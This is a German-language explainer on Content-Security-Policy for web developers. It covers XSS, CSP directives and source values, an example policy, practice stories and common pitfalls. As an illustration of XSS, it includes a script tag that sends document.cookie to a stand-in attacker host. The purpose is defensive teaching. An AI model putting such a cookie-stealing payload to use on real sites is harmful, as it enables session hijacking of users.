In einem Satz
Content-Security-Policy (CSP) ist ein Sicherheitsstandard, der über einen HTTP-Header ausgeliefert wird. Er teilt dem Browser mit, welche Inhaltsquellen (wie Skripte, Bilder und Styles) vertrauenswürdig sind und geladen werden dürfen. Im Grunde ist es ein Türsteher, der bösartige Einschleusungen abwehrt.
Welches Problem es löst
In den frühen Wild-West-Zeiten des Webs war Sicherheit eher so ein nachträglicher Gedanke. Einer der fiesesten Schurken, die damals aufkamen, war Cross-Site Scripting, oder kurz XSS. Kurz gesagt, XSS ist ein Angriff, bei dem es einem Bösewicht gelingt, seinen eigenen schädlichen Code (meistens JavaScript) in eine Webseite einzuschleusen, der du eigentlich vertraust.
Stell dir einen Blog mit einer Kommentarfunktion vor. Du als Entwickler baust die Seite sorgfältig auf. Aber du übersiehst einen winzigen Bug bei der Anzeige von Kommentaren. Ein Angreifer kommt vorbei und anstatt „Toller Beitrag!“ zu schreiben, sendet er einen Kommentar wie diesen ab:
<script>
// Steal the logged-in user's session cookie
fetch('https://attackers-evil-server.com/steal?cookie=' + document.cookie);
</script>
Jeder andere Nutzer, der diesen Blogbeitrag jetzt aufruft, lässt seinen Browser dieses Skript ausführen. Da das Skript auf der Domain deines Blogs läuft, hat es Zugriff auf alles, worauf auch ein legitimes Skript zugreifen würde, wie zum Beispiel die Session-Cookies des Nutzers. Der Angreifer kann nun ihre Sitzung kapern und sich als sie ausgeben. Autsch.
Jahrelang bestand die einzige Abwehr darin, jede einzelne Benutzereingabe pedantisch zu bereinigen. Das nennt man „Input Validation and Output Encoding“, und es ist immer noch absolut entscheidend. Aber es ist auch unglaublich schwer, das zu 100 % richtig zu machen, und zwar immer. Ein kleiner Ausrutscher, und schon bist du angreifbar.
CSP entstand aus der Notwendigkeit einer „Defense in Depth“ (tiefgestaffelten Verteidigung). Die Idee ist einfach: Was wäre, wenn der Server dem Browser sagen könnte: „Hey, ich weiß, ich sollte perfekt sein, aber nur für den Fall, dass ich Mist gebaut und ein bösartiges Skript durchgelassen habe, setz bitte ein paar Regeln für mich durch. Führe nur Skripte aus, die von meiner eigenen Domain my-app.com und von Google Analytics stammen. Wenn du ein Skript aus einer anderen Quelle siehst, blockiere es und sag mir Bescheid.“
Das ist CSP. Es ist eine zweite Verteidigungslinie, die direkt im Browser des Nutzers arbeitet und ihn von einem passiven Opfer zu einem aktiven Sicherheitsagenten macht.
Wie es unter der Haube funktioniert
CSP ist keine Magie; es ist nur eine Zeichenkette, die in einem HTTP-Response-Header mitgeschickt wird. Die zwei wichtigsten Header sind:
Content-Security-Policy: Setzt die Policy durch. Wenn eine Ressource gegen die Policy verstößt, wird sie blockiert.Content-Security-Policy-Report-Only: Ein „Trockenlauf“-Modus. Er meldet Verstöße, blockiert aber nichts – ein Segen, um eine neue Policy zu testen und auszurollen, ohne deine Seite zu zerschießen.
Der Wert des Headers ist eine Reihe von Direktiven, die jeweils mit einem Semikolon enden. Eine Direktive besteht aus einem Namen und einer Liste von erlaubten Quellen.
Gängige Direktiven
Stell dir Direktiven als Kategorien von Inhalten vor, die du kontrollieren willst.
| Direktive | Kontrolliert... | Was es abdeckt |
|---|---|---|
default-src |
Der Fallback | Die Standard-Quellenliste für die meisten anderen -src-Direktiven, falls diese nicht angegeben sind. Setz diese zuerst! |
script-src |
Skripte | JavaScript-Quellen, einschließlich script-Tags, Inline-Handler (onclick) und mehr. Der wichtigste Brocken bei XSS. |
style-src |
Stylesheets | CSS-Dateien, style-Tags und inline style-Attribute. |
img-src |
Bilder | <img>-Tags, Favicons, etc. |
connect-src |
Verbindungen | URLs für fetch(), XMLHttpRequest, WebSocket, etc. Womit darf dein Frontend sprechen? |
font-src |
Schriftarten | Web-Fonts, die über @font-face geladen werden. |
frame-src |
Frames | Quellen für <iframe>- und <frame>-Elemente. |
report-uri |
Reporting | (Veraltet, aber verbreitet) Eine URL, an die der Browser JSON-Berichte über Policy-Verstöße sendet. |
report-to |
Reporting | Der moderne Ersatz für report-uri, der die Reporting API verwendet. |
Gängige Quellenwerte
Für jede Direktive gibst du an, woher Inhalte kommen dürfen.
| Quelle | Bedeutung | Beispiel |
|---|---|---|
'self' |
Dieselbe Herkunft (Origin) | Erlaubt Inhalte von derselben Domain, demselben Schema und demselben Port wie das Dokument. |
'none' |
Nichts | Blockiert alle Inhalte für diese Direktive. object-src 'none' ist eine sehr gute Idee. |
example.com |
Ein bestimmter Host | Erlaubt Inhalte von example.com. |
*.example.com |
Host mit Wildcard | Erlaubt Inhalte von jeder Subdomain von example.com. Mit Vorsicht genießen! |
https: |
Ein Schema | Erlaubt Inhalte von jeder Quelle über HTTPS. |
'unsafe-inline' |
Inline-Code | Erlaubt inline <script>- und <style>-Tags sowie style- oder onclick-Attribute. Wenn möglich vermeiden! |
'unsafe-eval' |
Dynamischer Code | Erlaubt String-Evaluierungsfunktionen wie eval(). Ein großes Sicherheitsrisiko. |
'nonce-...' |
Eine kryptografische Nonce | Erlaubt ein Inline-Skript, wenn sein nonce-Attribut mit dem im Header übereinstimmt. Super, um bestimmte Inline-Skripte sicher zu verwenden. |
'sha256-...' |
Ein Hash | Erlaubt ein Inline-Skript oder -Style, wenn sein SHA256-Hash mit dem im Header übereinstimmt. |
Das Ganze zusammengefügt
Schauen wir uns eine realistische Policy für eine moderne Web-App an:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.my-analytics.com 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https://images.my-app.com;
connect-src 'self' https://api.my-app.com;
font-src 'none';
object-src 'none';
frame-ancestors 'none';
report-to csp-endpoint;
Schlüsseln wir das mal auf:
default-src 'self': Standardmäßig nur Ressourcen von unserer eigenen Herkunft (Origin) erlauben.script-src ...: Wir erlauben Skripte von unserer eigenen Herkunft, von unserem Analytics-Anbieter und jedes Inline-Skript, das den spezifischennonce-Wert hat. Der Server würde bei jedem einzelnen Seitenaufruf eine neue, zufällige Nonce generieren.style-src 'self' 'unsafe-inline': Wir erlauben Stylesheets von unserer Herkunft. Das'unsafe-inline'deutet darauf hin, dass wir möglicherweise alten Code haben, derstyle-Attribute einfügt – eine gängige (wenn auch nicht ideale) Situation.img-src ...: Bilder dürfen von unserer Herkunft, alsdata:URIs oder von unserem dedizierten Image-CDN kommen.connect-src ...: Unser Frontend-JavaScript darf nur API-Aufrufe an unsere eigene Herkunft und anapi.my-app.commachen.font-src 'none',object-src 'none': Wir verwenden keine eigenen Schriftarten oder Plugins wie Flash, also blockieren wir sie komplett.frame-ancestors 'none': Dies verhindert, dass andere Seiten unsere Seite in einen<iframe>einbetten, was Clickjacking-Angriffe unterbindet.report-to csp-endpoint: Sende Berichte über Verstöße an den Reporting-Endpoint namenscsp-endpoint(der an anderer Stelle konfiguriert wird).
Geschichten aus der Praxis
Der E-Commerce-Skimmer
Ein mittelgroßer Onlineshop fügte ein Chat-Widget von einem Drittanbieter zu seiner Seite hinzu, um den Kundenservice zu unterstützen. Sie fügten die Domain des Widgets zu ihrer script-src-Direktive hinzu und dachten, sie wären auf der sicheren Seite. Was sie nicht wussten: Bei der Firma des Chat-Widgets selbst wurde eingebrochen, und ein Angreifer veränderte die Skript-Datei des Widgets. Die neue, bösartige Version las die Kassenseite aus, um an Kreditkartennummern zu kommen. Da die CSP des Shops der Quelldomain vertraute, wurde das bösartige Skript wochenlang ohne Probleme geladen und ausgeführt.
Lektion: Deine CSP ist eine Vertrauenskette. Wenn du eine Drittanbieter-Domain erlaubst, vertraust du nicht nur dieser Firma; du vertraust ihrer Sicherheit, ihrer Deployment-Pipeline und all ihren Abhängigkeiten. Subresource Integrity (SRI) ist ein weiteres Werkzeug, das helfen kann, dieses spezielle Risiko zu mindern.
Der langsame Rollout
Ein großes Medienunternehmen wollte eine strenge CSP auf seiner vielbesuchten Nachrichtenseite einführen. Sie wussten, dass ein sofortiger Rollout Werbung, Videos und unzählige andere Features lahmlegen könnte. Anstatt direkt live zu gehen, spielten sie eine Policy im Content-Security-Policy-Report-Only-Modus aus. Zwei Wochen lang sammelten sie nur Daten. Ihr report-uri-Endpunkt wurde mit Tausenden von Berichten pro Stunde überflutet. Sie leiteten diese Berichte in eine Datenbank und bauten ein Dashboard, das die am häufigsten blockierten Ressourcen und die Seiten anzeigte, auf denen sie blockiert wurden. Sie entdeckten Dutzende von vergessenen, alten Tracking-Skripten, Werbenetzwerk-Domains und Abhängigkeiten von Videoplayern. Systematisch entfernten sie entweder die alten Ressourcen oder fügten die legitimen zu ihrer Policy-Whitelist hinzu. Nach einem Monat Feinschliff legten sie den Schalter auf den erzwingenden Modus um. Nichts ging kaputt.
Lektion: Flieg nicht blind. Nutze den Report-Only-Modus als deinen Co-Piloten. Er lässt dich eine perfekte, praxisnahe Policy auf Basis von echtem Nutzer-Traffic erstellen und verwandelt eine furchteinflößende Sicherheitsaufgabe in ein überschaubares Datenanalyseproblem.
Die Browser-Extension-Bedrohung
Ein Mitarbeiter einer Finanzfirma nutzte eine beliebte Browser-Extension, die Webseiten „verschönerte“, indem sie ihr eigenes CSS und JavaScript einfügte. Auf den meisten Seiten war das harmlos. Aber als er sich in das interne Finanzportal der Firma einloggte, funktionierte die Seite nicht mehr richtig. Verwirrt rief er die IT an. Ein Entwickler schaute in die Browser-Konsole und sah einen Strom von CSP-Verletzungsfehlern: Das Portal blockierte die Injektion der Skripte und Styles der Extension. Die strenge CSP des Portals, die nur Skripte und Styles von 'self' erlaubte, hatte den Code der Extension korrekterweise als nicht vertrauenswürdige, fremde Ressource identifiziert und blockiert. Es verhinderte ein potenzielles Datenleck durch eine gut gemeinte, aber invasive Extension.
Lektion: Eine starke CSP schützt deine Nutzer nicht nur vor deinen eigenen potenziellen Bugs, sondern auch vor Bedrohungen in ihrer eigenen Browser-Umgebung, wie bösartigen oder zu freizügigen Extensions.
Häufige Fehler und Fallstricke
- Sich auf
'unsafe-inline'verlassen. Das ist der häufigste Fallstrick. Entwickler stoßen auf Probleme mit altenonclick-Event-Handlern oder inline<script>-Tags und greifen als schnelle Lösung zu'unsafe-inline'. Das reißt einen riesigen Angriffsvektor für XSS-Attacken wieder auf. Der bessere Weg ist, den Code umzubauen undaddEventListenerzu verwenden oder, wenn man absolut ein Inline-Skript braucht, es gezielt mit einer Nonce oder einem Hash auf die Whitelist zu setzen. default-srcvergessen. Wenn du nurscript-srcundstyle-srcsetzt, lässt du andere Vektoren offen. Was ist mit<object>-Tags? Oder Workern? Beginne immer mit einem restriktivendefault-src 'self'oderdefault-src 'none'und öffne nur das, was du pro Direktive wirklich brauchst.- Reporting einrichten, aber nie reinschauen. Eine
report-uri, die ins Leere zeigt, ist nutzlos. Verstoß-Reports sind dein Frühwarnsystem. Sie können dich auf eine neue XSS-Attacke in freier Wildbahn aufmerksam machen oder dir sagen, dass ein kürzliches Deployment ein legitimes Feature für einen Teil der Nutzer kaputt gemacht hat. Du brauchst einen Prozess, um diese Berichte zu erfassen, zu bündeln und zu überprüfen. - Zu freizügige Wildcards verwenden. Es ist verlockend,
script-src https://*.some-cdn.comzu verwenden, aber das könnte einem Angreifer erlauben, ein Skript vonhttps://malicious-user-account.some-cdn.comzu laden. Sei bei deinen Hostnamen so spezifisch wie nur irgend möglich. frame-ancestorsignorieren. XSS bekommt die ganze Aufmerksamkeit, aber Clickjacking ist eine weitere echte Bedrohung. Ein Angreifer kann deine Seite in einem transparenten<iframe>über seiner eigenen bösartigen Seite laden und Nutzer dazu verleiten, auf Buttons auf deiner Seite zu klicken.frame-ancestors 'none'oderframe-ancestors 'self'ist eine einfache und mächtige Verteidigung, die oft vergessen wird.
Warum du es auf dem Schirm haben solltest
Du solltest über CSP nachdenken, wenn du...
- Webanwendungen baust, die mit User-Logins, persönlichen Daten oder Zahlungsinformationen hantieren.
- Inhalte anzeigst, die von Nutzern übermittelt wurden (Kommentare, Profile, Forenbeiträge).
- mehrere Skripte von Drittanbietern wie Analytics, Werbung, Support-Widgets oder Tag-Manager integrierst.
- eine robuste, moderne, tiefgestaffelte Sicherheitsarchitektur für jedes nicht-triviale Webprojekt anstrebst.
Kurz gesagt: Wenn du im 21. Jahrhundert Webentwickler bist, sollte CSP ein Standardteil deines Werkzeugkastens sein. Es ist kein exotisches Feature mehr für die Ultra-Paranoiden; es ist ein fundamentaler Baustein der Frontend-Sicherheit.
Tauch tiefer ein
- MDN Web Docs: Content Security Policy (CSP) - Der definitive, praktische Leitfaden und die Referenz.
- W3C Content Security Policy Level 3 - Die offizielle Spezifikation. Sie ist dicht, aber es ist die Quelle der Wahrheit.
- Googles Web Fundamentals zu CSP - Eine großartige, übergeordnete Einführung mit praktischen Ratschlägen.
- report-uri.com - Ein Dienst zum Sammeln von CSP-Reports, betrieben vom Sicherheitsexperten Scott Helme, dessen Blog ebenfalls eine unglaubliche Ressource zu diesem Thema ist.
- OWASP Cheat Sheet: Content Security Policy - Sicherheitsfokussierte Best Practices vom Open Web Application Security Project.